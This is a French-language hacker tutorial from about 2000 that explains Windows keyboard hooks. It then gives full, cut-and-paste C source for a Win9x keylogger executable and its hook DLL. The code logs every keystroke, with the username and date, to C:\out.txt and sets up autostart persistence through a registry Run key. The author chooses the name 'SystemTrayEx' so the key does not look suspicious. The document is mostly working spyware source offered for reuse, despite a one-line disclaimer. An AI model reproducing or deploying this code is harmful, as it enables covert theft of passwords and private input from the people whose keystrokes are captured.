Keylogger Win32 |
I)
Introduction
II) Théorie relative au keylogger
III) La pratique
IV) Conclusion
Salut tout le
monde, voici un nouvel article dans la collection "Je programme des tas de
trucs supers avec obscurer", au menu aujourd'hui c'est un keylogger (sous
Win 9x car je suis en vancances et donc pas chez moi = pas de NT today).
Et oui, dans un premier temps je vais expliquer la théorie générale
d'un Keylogger, et dans un deuxième temps la pratique. Je n'ai pas
eu trop le temps de réfléchir à des sujets d'articles
pendant les vancances donc vous aurez que 2 articles de moi et c'est tout
(en fait Medgi m'a dit : "Comment ça marche un keylogger ?" et je me
suis dit que ça ferait un bon article, donc merci Medgi). Pour nos
amis débutants : a quoi sert un keylogger : et bien, c'est un programme
discret qui passe le plus clair de son temps à enregistrer dans un
fichier toutes les touches que vous tappez (viscieux hein !) Bref, c'est un
moyen comme un autre de récupérer des informations interressantes
sur les utilisateurs d'une machine. Voila. Ha oui j'oubliais, surtout ne lancez
pas un keylogger sur une autre machine que la votre, ce n'est pas très
correct.
Maintenant, fini le blabla, venons-en au fait !
II)
Théorie relative au keylogger
Les Hooks windows
Windows contient
un mécanisme qu'on appelle les 'Hooks'. Les hooks sont disposés
en chaines et on appelle ça des "hook chains" hé hé...
heu.... oui donc, un hook c'est une procédure qui est spécifique
à un type d'évenement, et qui est appellée à chaque
fois que l'évenement se produit. Les hooks peuvent être spécifiques
à 12 évenements différents.
Exemple : la souris, le clavier, des messages postés aux thread., etc...
Si je place un hook pour la souris, windows va appeller une fonction que j'aurais
fait à chaque fois que je toucherai à la souris par exemple.
Les hooks sont
appellés en l'ordre inverse de leur création, le dernier créé
est le premier appellé, il décide ensuite si le message doit
être passé ou non aux autres hooks (d'ou la notion de chaine
: on se passe le message à la passe passe le oinj :).
Lorqu'on installe un Hook à l'aide de l'API "SetWindowsHookEx", il
peut être local au processus ou global (tout le système)
Tout le système ?? Oui...tout...
HHOOK SetWindowsHookEx(int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);
idHook doit
contenir : WH_KEYBOARD
lpfn va
contenir l'adresse d'une fonction "KeyboardProc"
hMod va
contenir un handle vers le module contenant la fonction "KeyboardProc" (c'est
une DLL voir plus loin)
dwThreadId doit
être à NULL pour que le Hook soit lancé sur tout le système
(Tout ??? Oui ! tout !)
LRESULT CALLBACK KeyboardProc(L'interet ici pour notre programme est de placer un hook de type clavier sur tout le système, qui permettra à notre fonction KeyboardProc d'être appellée à chaque fois que le clavier change de status, de plus notre fonction sera appellée avant que le mesage ne parvienne à l'application destinée, on pourra donc modifier le message, bloquer des touches par exemple ce qui n'est pas le but de cet article mais ça peut vous interresser, amis lecteurs.int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
);
Donc, lorqu'on a placé le hook de type WH_KEYBOARD qui pemet à "KeyboardProc" d'être lancée à chaque évenement de type clavier, notre fonction KeyboardProc pourra donc placer la touche frappée dans un fichier. Elle recoit comme paramètres toutes les informations nécessaires à cela (virtual-key code et lParam contient des info sur la touche frappée et sur l'état du clavier)
Pour passer le message aux autres hooks su systèmes (les autres de la chaîne) on fait CallNextHookEx :
LRESULT CallNextHookEx(On a juste à lui envoyer les paramètres qu'on a reçu (Cette fonction est facultative donc on l'utilise pas)HHOOK hhk, // handle to current hook
int nCode, // hook code passed to hook procedure
WPARAM wParam, // value passed to hook procedure
LPARAM lParam // value passed to hook procedure
);
Un hook se retire avec "UnhookWindowsHookEx"
BOOL UnhookWindowsHookEx(
HHOOK hhk //
handle of hook procedure to remove
);
Un hook qui se place sur tout le système, signifie que la fonction appellée à chaque fois que l'on touche au clavier doit se trouver dans une .DLL, ce qui induit un....
Petit rappel sur les DLL (mais alors tout petit)
Une DLL ou Dynamic
Load Library, est un module qui peut être chargé par un executable.
Elle exporte des fonctions.
Par exemple, quand vous utilisez la fonction "CreateFile", vous loadez la
library Kernel32.dll puis vous executez la fonction CreateFile exportée
par kernel32.dll.(désolé pour ceux qui savent déjà
tout ça) Pour faire notre keylogger, on va devoir créer
un programme qui va loader une DLL. On va créer aussi une DLL qui va
exporter les fonctions : InstallHook, UninstallHook et KeyboardProc.
Une DLL doit contenir une fonction principale, qui sera appellée lorsque
la DLL sera Loadée/Unloadée qui sert pour les initialisations
entre autre...
BOOL WINAPI DllEntryPoint(
HINSTANCE hinstDLL, //
handle to DLL module
DWORD fdwReason, //
reason for calling function
LPVOID lpvReserved //
reserved
);
Si la DLL est
attachée à un process, à un thread, si elle est détachée
d'un process, d'un thread, cette fonction est appellée,
Elle est appellée lorsque LoadModule ou LoadLibrary, ou FreeLibrary
etc... est appellée.
fdwReason contient
l'une des 4 valeurs possibles, à savoir :
DLL_PROCESS_ATTACH
DLL_PROCESS_DETACH
DLL_THREAD_ATTACH
DLL_THREAD_DETACH
Je dis ça
comme ça, en fait on s'en fout dans notre prog :)
Quand on code
une DLL (Visual C++ pour moi), les fonctions qui s'exportent doivent être
déclarées ainsi :
__declspec(dllexport)int Fuck();
Signifie
que Fuck() est exportée par le module.
Petit rappel sur le clavier
Comment passe-t-on
d'un virtuel key code à un Ascii key code ? (On s'en fout ? Bein cliquez
ici alors pfff)
Et bien voila le principe :
le fonction KeyboardProc
recoit wParam (virtual-key code), et lParam, qui contient entre autre le scan
code
La fonction ToAscii à besoin du scan code, du virtual key code, et
de l'état général du clavier.
int ToAscii(unsigned char *KeyState;
UINT uVirtKey, // virtual-key code
UINT uScanCode, // scan code
PBYTE lpKeyState, // address of key-state array
LPWORD lpChar, // buffer for translated key
UINT uFlags // active-menu flag
);
Place dans KeyState
l'état du clavier en général
Pour l'avoir en ASCII on fait :
ToAscii(wParam,lParam,KeyState,buffer,0);
buffer contient le caractère comme nous le voulons : en ASCII :)
Petit rappel sur la base de registre
Nous voulons que notre Keylogger s'execute à chaque démarrage, pour cela il faut rajouter une clef dans la base de registre à
HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\ pour windows 9x
On va appeller
cette clef "SystemTrayEx" afin de ne pas paraitre 'louche'
;)
Sa valeur sera le Path vers notre prog, il sera donc exécuté
à chaque démarrage.
On va utiliser : RegCreateKeyEx puis RegSetValueEx, puis RegCloseKey.
LONG RegCreateKeyEx(On l'invoque de cette manière :HKEY hKey, // handle of an open key
LPCTSTR lpSubKey, // address of subkey name
DWORD Reserved, // reserved
LPTSTR lpClass, // address of class string
DWORD dwOptions, // special options flag
REGSAM samDesired, // desired security access
LPSECURITY_ATTRIBUTES lpSecurityAttributes, // address of key security structure
PHKEY phkResult, // address of buffer for opened handle
LPDWORD lpdwDisposition // address of disposition value buffer
);
La clef est ouverte, maintenant, on la rempli :
char *KeyPath = "software\\microsoft\\windows\\currentversion\\run\\";
struct HKEY__ *hKey;
DWORD hKeyResult;RegCreateKeyEx(HKEY_LOCAL_MACHINE,
KeyPath,
0,
0,
REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS,
0,
&hKey,
&hKeyResult);
On ferme la clef :
char *KeyName="SystemTrayEx";
char *KeyValue=GetCommandLine(); // Pour récupérer le Path de notre fileRegSetValueEx(hKey,KeyName,0,REG_SZ,KeyValue,sizeof(KeyValue)+1);
RegCloseKey(hKey);
Et voila, le file
est executé à chaque démarrage ! Nous avons tout les
outils pour construire notre Keylogger, c'est parti !
Désolé pour ceux qui savaient parfaitement tout ce qui était
dis dans les rappels mais tout le monde ne sais pas tout ça (si ? oups,
sorry) Cependant, si vous n'avez pas tout compris, cliquez ici
:)
Maintenant, on
ne rie plus :||
Je vous balance le code et je commente, comme d'habitude ;)
/*-----CUT HERE----------CUT HERE----------CUT HERE----------CUT HERE----------CUT HERE-----
Programme executable du keylogger
by obscurer21/08/2k
Copyright Tipiak - www.tipiak.net -
*/#include <windows.h>
#define NULL 0HHOOK hHook;
int InstallHook (HMODULE hModDLL, HOOKPROC addr);
int UninstallHook();int PASCAL WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nShowCmd)
{
HOOKPROC addr; // Utilisé pour chopper l'adresse de KeyboardProc dans la DLL
HINSTANCE LibHandle; // Handle de la DLLchar *KeyValue;
int ret;struct HKEY__ *hKey; // La clef
DWORD hKeyResult;
KeyValue=GetCommandLine(); // On choppe le Path vers le fichier pour mettre
//dans le base de registre
RegCreateKeyEx(HKEY_LOCAL_MACHINE, // Créé la clef
"software\\microsoft\\windows\\currentversion\\run\\",
0,
0,
REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS,
0,
&hKey,
&hKeyResult);RegSetValueEx(hKey,"SystemTrayEx",0,REG_SZ,KeyValue,sizeof(KeyValue)+1);//on rempli
RegCloseKey(hKey); // On ferme
LibHandle = LoadLibrary("hook.dll"); // On charge la DLL
if(LibHandle==NULL) {goto hell;}addr = (HOOKPROC) GetProcAddress(LibHandle, "?KeyboardProc@@YGJHIJ@Z");
// On choppe l'adresse de KeyboardProc (oui je sais, le nom est bizarre
// mais le DLL exporte ce nom là, je ne sais pas pourquoi :/
if(addr==0) { goto hell; }
ret=InstallHook(LibHandle,addr); // Hook installé
if(ret==FALSE) { goto hell; }
Sleep(INFINITE); // J'ai trouvé que ça pour faire attendre le Programme
UninstallHook(); // Hook désinstalléhell:
ExitProcess(NULL);return TRUE;
}
int InstallHook (HMODULE hModDLL, HOOKPROC addr)
{ // Cette fonction.... installe le hook (d'ou le nom : installhook)
HANDLE OutFile;
char *buffer;
char *writebuf;
char *time;
char *date;
DWORD temp;
DWORD size;
hHook=SetWindowsHookEx(WH_KEYBOARD,addr,hModDLL,NULL); // On met le hook
if(hHook==NULL) { return FALSE; }buffer=(char *)GlobalAlloc(GPTR,100);
writebuf=(char *)GlobalAlloc(GPTR,500);
time=(char *)GlobalAlloc(GPTR,100);
date=(char *)GlobalAlloc(GPTR,100);OutFile=CreateFile("C:\\out.txt",GENERIC_WRITE, // On créé un fichier
FILE_SHARE_READ+FILE_SHARE_WRITE,
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(OutFile==INVALID_HANDLE_VALUE) { return FALSE; }
SetFilePointer(OutFile,NULL,NULL,FILE_END); // On va à la fin
size=50;
GetUserNameA(buffer,&size); // On choppe le username
GetTimeFormat(LOCALE_SYSTEM_DEFAULT,TIME_NOSECONDS,NULL,"HH':'mm tt",time,50);
GetDateFormat(LOCALE_SYSTEM_DEFAULT,DATE_LONGDATE,NULL,NULL,date,50);
// on a la date et l'heure pour mettre dans le fichier
wsprintf(writebuf,"\x0d\x0a\x0d\x0a username : %s \x0d\x0a Date : %s \x0d\x0a Time : %s.\x0d\x0a All keys are being logged in this file :) \x0d\x0a\x0d\x0a",buffer,date,time);
WriteFile(OutFile,writebuf,strlen(writebuf),&temp,NULL);// On écrit tout ça dans notre file pour faire boooo
GlobalFree(buffer);
GlobalFree(writebuf);
GlobalFree(time);
GlobalFree(date);
return TRUE;
}int UninstallHook(){ // No comment
UnhookWindowsHookEx(hHook);
return TRUE;
}
// EOF
Et maintenant, la DLL !
/*
Library hook.dll chargée par le keylogger
by obscurer
21/08/2k
Copyright Tipiak - www.tipiak.net -
*/
#include <windows.h>
BOOL WINAPI DllEntryPoint(HINSTANCE hinstDLL,DWORD
fdwReason,LPVOID lpvReserved)
{
return TRUE;
}
__declspec(dllexport) LRESULT CALLBACK KeyboardProc(int
code,WPARAM wParam,LPARAM lParam)
{
HANDLE File;
long TEMP;
char *buf;
unsigned char *KeyState;
DWORD temp;
buf=(char *)GlobalAlloc(GPTR,5);
KeyState=(unsigned char *)GlobalAlloc(GPTR,256);
/*
Le bit 31 de lParam (0x40000000 en hexa donc), est
à 1 si la touche relachée, ou à 0 si elle
est préssée. On fait donc un AND pour
savoir l'état du bit 31, si la touche est tappée, on
continue et on la log, sinon, on quitte (pour ne
pas logger 2 fois la même touche à chaque coup)
*/
TEMP=lParam;
TEMP&=0x40000000;
if(TEMP!=0) { goto die_now; }
File=CreateFile("C:\\out.txt",GENERIC_WRITE,
// On ouvre le fichier
FILE_SHARE_READ+FILE_SHARE_WRITE,
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(File==INVALID_HANDLE_VALUE) { goto
die_now; }
SetFilePointer(File,NULL,NULL,FILE_END); // On se place à la fin
GetKeyboardState(KeyState);
// On choppe l'état du clavier
ToAscii(wParam,lParam,KeyState,(unsigned short *)buf,0);
// buf contient le code ASCII
WriteFile(File,buf,strlen(buf),&temp,NULL);
// On balance ça dans le file
FlushFileBuffers(File); //
juste au cas ou
CloseHandle(File); // ferme le fichier
die_now:
GlobalFree(buf);
GlobalFree(KeyState);
return FALSE; //
return FALSE pour que la touche arrive à destination
}
// EOF
-----CUT HERE----------CUT HERE----------CUT HERE----------CUT HERE----------CUT HERE-----
And finally,
it was done, comme dirait l'autre ! Mettez l'exe et la dll dans le même
répertoire, lancez le .exe et c bon, les touches
sont loggées dans C:\out.txt et
le prog est dans la base de registre.Tranquille non ? (non ? Pfff vous êtes
durs là ...)
IV) Mon avis sur "X-Men le film" / Conclusion
Pas mal / Pour
stopper le Keylogger faites un bon vieux Ctrl-Alt-Suppr et dégagez
le.
Je n'ai pas intégré de fonction qui cache le nom dans la liste,
mais sinon, on pourrait pas le stopper alors bon... (en plus j'ai pas cherché).
Vous avez remarqué que à chaque touche tappée, on ouvre
le fichier, on écrit et on le ferme. Je sais que cela peut paraître
un peu barbare mais la fonction "KeyboardProc" est copiée pour chaque
process du système, et on ne peut pas lui passer d'argument comme un
handle de file, de même elle ne peut pas dialoguer avec le programme
principal (une solution potentielle serait d'utiliser les messages, mais alors
il faudrait connaitre l'Id de la fenêtre à qui on envoie le méssage,
même problème) Le file mapping reste aussi possible en théorie
mais je n'y suis pas parvenu n'ayant pas non plus beaucoup insisté.
Au risque de me répéter, je dirai que je suis d'accord pour
qu'on pompe cet article, du moment que j'y vois mon nom. Mes sources pour
ce prog vienne de mon expérience personnelle et de Iczelion pour la
théorie sur les Hooks windows.
Je vais maintenant savourer les derniers jours de vancances qu'il me reste,
et je vous donne rendez-vous à la rentrée pour de nouvelles
aventures dans le monde magique de l'informatique :)
(Quelle Outro minable :/ sorry j'ai pas fait littéraire)
A+ les cocos
obscurer, 21/08/2k
IRC : #tipiak
etc...
MAIL : obscurer@tipiak.net || x11@freesurf.fr
(au cas ou)
Fichier
associés à l'articles:
hook.cpp
keylog.cpp